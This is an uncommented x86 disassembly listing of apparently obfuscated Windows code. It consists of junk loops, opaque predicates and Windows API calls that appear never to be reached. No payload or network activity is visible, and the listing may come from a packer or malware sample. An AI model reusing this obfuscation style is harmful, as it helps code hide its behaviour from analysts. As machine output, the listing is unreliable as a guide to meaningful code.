cmp dword [ebp - 0x28], 0xffffffec
jne 0x1002ec98
push 0xfffffffffffffffc
pop esi
jmp 0x1002eb5f
xor eax, eax
mov dword [ebp - 0x40], 0x62e08974
mov dword [ebp - 0x54], 0x6dfc9b99
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x54], 3
mov dword [ebp - 0x24], eax
jmp 0x1002eb93
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x788], 0x2c41ac3d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002eb82
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov eax, dword [ebp - 0x2a0]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
imul ecx, dword [ebp - 0x2a4]
cmp ecx, 0xfffffffd
mov ecx, dword [ebp - 0x20]
setge al
cmp eax, 0x87972e7e
sbb eax, eax
neg eax
imul ecx, eax
dec dword [ebp - 0x20]
dec ecx
je 0x1002ebdc
mov eax, dword [ebp - 0x784]
mov eax, dword [ebp - 0x29c]
xor edx, edx
cmp eax, edi
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2a4], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2a4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x40]
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], eax
je 0x1002ec66
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x24], eax
jmp 0x1002ec55
cmp dword [ebp - 0x40], eax
je 0x1002ec3f
mov eax, dword [ebp - 0x2a4]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp eax, edi
push 0
setle cl
mov dword [ebp - 0x2a0], ecx
inc dword [ebp - 0x24]
pop eax
cmp dword [ebp - 0x24], 0x11
jl 0x1002ec34
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2a4], eax
jmp 0x1002ec7c
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ec7c
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x54], eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffec
je 0x1002eb5d
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1002ecbd
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x180], 0x1713b910
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002eca5
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002ecdd
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x15c], 0x81c2900
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002ecc5
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1002ecfd
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5c8], 0x7c3cb878
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002ece5
xor eax, eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], eax
jl 0x1002ee87
mov dword [ebp - 0x40], 0xc3532716
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002ed39
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x144], 0x76d7be7e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002ed21
xor eax, eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], eax
jg 0x1002ee75
mov dword [ebp - 0x18], 0x33c
xor esi, esi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002ed6b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x308], esi
inc dword [ebp - 0x24]
jmp 0x1002ed57
mov eax, dword [ebp - 0x18]
mov ecx, edi
mov eax, dword [ebp - 0x18]
sub ecx, eax
xor eax, eax
cmp ecx, 0x35c2
setg al
xor ecx, ecx
test eax, eax
setg cl
imul ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x1002ed9b
xor eax, eax
xor esi, esi
cmp dword [ebp - 0x15c], eax
je 0x1002ed9d
mov eax, edi
mov ecx, dword [ebp - 0x140]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, edx
setg cl
or eax, 0xffffffff
cmp eax, ecx
sbb eax, eax
neg eax
cmp dword [ebp - 0x18], eax
je 0x1002edd7
xor eax, eax
xor esi, esi
mov edx, eax
cmp dword [ebp - 0x158], eax
je 0x1002edd9
mov edx, edi
mov dword [ebp - 0x308], edx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
cmp edx, eax
mov eax, dword [ebp - 0x180]
setle cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
push 0
setne dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x308]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0x158]
mov dword [ebp - 0x5c8], eax
inc dword [ebp - 0x140]
pop eax
cmp dword [ebp - 0x140], esi
jle 0x1002ed4b
dec dword [ebp - 0x158]
jns 0x1002ed0f
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
mov byte [ebp - 0xd], al
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], 0x8876
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002eeba
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xb20], 0x3fcb50bf
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002eea2
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002eede
push eax
push 0x26d7
push 0x11fb
push 0x144d
push 0x1448
call dword [sym.imp.GDI32.dll_CreateBitmap]
dec dword [ebp - 0x34]
cmp byte [ebp - 0xd], 0
je 0x1002f1ed
or eax, 0xffffffff
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0x95e04a27
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 0x18], eax
mov eax, 0xbc4d5916
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
xor eax, eax
push 4
mov dword [ebp - 0x30], eax
pop ecx
cmp dword [ebp - 0x30], ecx
jge 0x1002ef47
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1cc], 0x29be1d92
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002ef2f
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jge 0x1002ef67
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xc8c], 3
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002ef4f
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002ef79
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x410], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002ef6c
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002f092
mov eax, dword [ebp - 0x1c4]
xor eax, eax
cmp dword [ebp - 0x1cc], eax
jge 0x1002efb1
cmp dword [ebp - 0x1c8], eax
jne 0x1002efb1
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002efb3
mov ecx, edi
mov eax, dword [ebp - 0x1c]
imul eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
xor eax, eax
cmp dword [ebp - 0x1c0], eax
jne 0x1002efdc
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002efde
mov ecx, edi
xor eax, eax
cmp ecx, 0xa012
setg al
add eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x34], eax
je 0x1002effd
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002f004
jmp 0x1002efff
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002f006
mov eax, edi
mov dword [ebp - 0x20], eax
xor edx, edx
mov ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x1c4]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c0]
setl bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x1c4]
setl cl
imul eax, ecx
neg eax
je 0x1002f04b
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002f04d
mov eax, edi
jmp 0x1002f04d
xor eax, eax
mov dword [ebp - 0xc88], eax
mov edx, dword [ebp - 0xc88]
mov eax, dword [ebp - 0x1cc]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x1cc]
setne cl
xor edx, edx
cmp ecx, edi
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, dword [ebp - 0x410]
jge 0x1002f094
cmp dword [ebp - 0x410], eax
je 0x1002f094
mov eax, edi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x1002f1e7
mov esi, 0xffff
mov dword [ebp - 0x40], 0x2d949044
or ecx, 0xffffffff
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0xedfd6825
mov dword [ebp - 0x54], 0xf73ecb6a
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1002f0e9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd14], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1002f0d4
xor eax, eax
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x1002f1d8
mov dword [ebp - 0x34], 0x76a95236
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0x5f67326d
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x410], 0
jne 0x1002f133
mov dword [ebp - 0x3c], 0x293
mov ecx, esi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1c8]
sub ecx, eax
add ecx, dword [ebp - 0x3c]
jne 0x1002f133
xor eax, eax
mov ecx, eax
jmp 0x1002f135
mov ecx, edi
mov dword [ebp - 0x34], 0xf1e73e4f
xor edx, edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov dword [ebp - 0xd0c], eax
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub edx, dword [ebp + eax*4 - 0x410]
mov eax, dword [ebp - 0x54]
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
imul ecx, ecx, 0x2d6a
sub ecx, dword [ebp + eax*4 - 0x1c8]
mov eax, 0xb93b5720
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
sbb ecx, ecx
neg ecx
imul ecx, dword [ebp + eax*4 - 0x1c8]
xor eax, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], eax
jmp 0x1002f1c4
mov dword [ebp - 0x34], 0x15d11e90
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f1be
push eax
push 0x15db
push eax
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
xor eax, eax
dec dword [ebp - 0x34]
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffe5
jg 0x1002f19f
dec dword [ebp - 0x18]
push 0xffffffffffffffff
pop ecx
jns 0x1002f0f5
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1002f0b0
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
push eax
call esi
push 2
pop ebx
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edi
jge 0x1002f226
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x5ac], 0xdb80ebbd
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x1002f20e
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x1002f23c
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xb44], 0
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ebx
jl 0x1002f22b
mov eax, dword [ebp - 0x24]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp eax, ebx
setg cl
mov dword [ebp - 0xb44], ecx
mov eax, dword [ebp - 0x2c]
sub eax, 0x5228
add eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x2c]
je 0x1002f34e
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002f28d
push 0xbeb
push 0x1e0f
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f2b6
push 0x6a
push 0x24d9
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
xor eax, eax
mov ebx, 0xb054dbbe
mov ecx, 0xfff7
cmp dword [ebp - 0x14], eax
je 0x1002fb16
mov dword [ebp - 0x34], 0xca4f
mov dword [ebp - 0x48], 0xf14c90d2
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], 0x471dfd94
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], edi
jge 0x1002f301
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x5c4], 0xac31e13c
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jl 0x1002f2e9
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002f3ee
mov dword [ebp - 0x40], 0xd6887694
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002f331
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5b4], 0x48708ef6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002f319
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f340
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x5b4], eax
jmp 0x1002f452
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x1002f28b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f36e
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x1002f3e6
mov dword [ebp - 0x24], eax
jmp 0x1002f3dc
mov dword [ebp - 0x18], eax
jmp 0x1002f3d4
mov dword [ebp - 0x28], 0x161e33ec
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jg 0x1002f3d1
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f3b7
push eax
push 0xe00
push 0x107b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x5ac], 0
jne 0x1002f3cf
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], edi
jle 0x1002f38f
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002f380
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x1002f37b
dec dword [ebp - 0x3c]
jns 0x1002f376
inc dword [ebp - 0x2c]
jmp 0x1002f353
mov dword [ebp - 0x20], 0xc11e043
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], edi
jge 0x1002f412
or ecx, 0xffffffff
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x5bc], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jl 0x1002f400
inc dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x5bc], esi
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0xdfb
setge al
cmp esi, 0xfffffff6
sbb ecx, ecx
inc ecx
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x48], ecx
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002f478
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x1002f475
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x5c4], edi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002f461
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x1002f459
mov dword [ebp - 0x28], 0xdba3
mov ecx, 0xffff
mov dword [ebp - 0x20], 0x3d83
mov dword [ebp - 0x24], 0xec4279c4
mov dword [ebp - 0x48], 0xd1f2e966
mov dword [ebp - 0x30], 0xdde9ab5c
mov dword [ebp - 0x18], 0xc7279c90
mov dword [ebp - 0x14], 0x69097d93
mov dword [ebp - 0x34], 0x639b6af4
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f4df
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa50], 0x86e871d9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f4c6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002f4fc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6c], 0xc9dffbe5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002f4e7
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002f51e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4a8], 0x587697ab
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002f505
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002f525
mov eax, edi
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x18], edi
mov edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
add edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
or eax, 0xffffffff
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setle cl
xor edx, edx
cmp ecx, 0xe1a0
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp esi, ecx
setl al
cmp eax, dword [ebp - 0x24]
jne 0x1002f598
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0xa48], eax
mov eax, dword [ebp - 0x6c]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1002f715
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x4a8]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
mov eax, dword [ebp + eax*4 - 0x4a8]
cmp eax, ecx
setne dl
xor ebx, ebx
imul edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x6c]
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setl bl
imul ebx, dword [ebp + eax*4 - 0x6c]
imul ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x6c]
neg ebx
sbb ebx, ebx
xor ecx, ecx
neg ebx
cmp ebx, eax
mov eax, dword [ebp - 0x30]
setl cl
xor edx, edx
imul ecx, dword [ebp + eax*4 - 0x4a8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x4a4]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x4a8]
cmp eax, edx
mov eax, dword [ebp - 0x30]
setg cl
cmp ecx, dword [ebp + eax*4 - 0x6c]
je 0x1002f674
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002f676
mov ecx, edi
jmp 0x1002f678
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x4a0], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x6c], 2
jle 0x1002f6a6
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x4a8], 0
jne 0x1002f6a6
xor eax, eax
mov esi, eax
jmp 0x1002f6a8
mov esi, edi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, esi
jg 0x1002f6f7
mov dword [ebp - 0x18], eax
jmp 0x1002f6ef
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f6da
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f6ec
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1002f6c8
jmp 0x1002f6fc
cmp dword [ebp - 0x18], eax
jne 0x1002f713
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x6c], ecx
jne 0x1002f713
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jle 0x1002f5d0
xor eax, eax
mov dword [ebp - 0x2c], 0xbd085c9e
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x40], eax
push 3
mov dword [ebp - 0x24], eax
pop ebx
cmp dword [ebp - 0x24], ebx
jge 0x1002f748
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd8c], 0x3342eb90
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002f730
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f760
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x1002f794
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f77f
push 0x12af
call dword [sym.imp.GDI32.dll_GetStockObject]
mov eax, dword [ebp - 0x24]
push 0
mov eax, dword [ebp + eax*4 - 0xd8c]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x24]
pop eax
jns 0x1002f76b
inc dword [ebp - 0x28]
or ecx, 0xffffffff
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002f7bc
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf08], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002f7a8
xor eax, eax
dec dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], edi
jg 0x1002f7e4
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f7d9
push eax
call dword [sym.imp.USER32.dll_ShowCursor]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jle 0x1002f7c7
or ecx, 0xffffffff
mov dword [ebp - 0x28], 0xa
cmp dword [ebp - 0x28], 0x38
jne 0x10030e9b
jmp 0x1002f7fc
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x34], 0xfffc
mov dword [ebp - 0x44], ecx
push 4
mov dword [ebp - 0x50], eax
pop edx
cmp dword [ebp - 0x50], edx
jge 0x1002f82c
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xfa0], 0x667a876e
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x1002f814
xor eax, eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edx
jge 0x1002f84c
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xff0], 0xd94543be
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x1002f834
xor eax, eax
inc dword [ebp - 0x34]
mov dword [ebp - 0x14], 0x50315362
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002f87c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xea8], 0x8bbca631
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002f864
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x1002f88c
inc dword [ebp - 0x34]
dec dword [ebp - 0x20]
jns 0x1002f884
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002f8a1
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x34], 0x7e2f9d44
mov dword [ebp - 0x20], 0x65420764
mov dword [ebp - 0x40], 0xe19f23e5
push 7
pop edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x54], 0xfffd
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], 0x37f4a7d2
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x44], 0x7617c0ec
mov dword [ebp - 0x44], 0x3ec3e1b8
mov dword [ebp - 0x48], 0x96a450c1
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edi
jge 0x1002f907
push 0xfffffffffffffffb
pop ecx
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x104], ecx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x1002f8f3
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x1002f91d
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xe08], 0x5243b9c3
inc dword [ebp - 0x50]
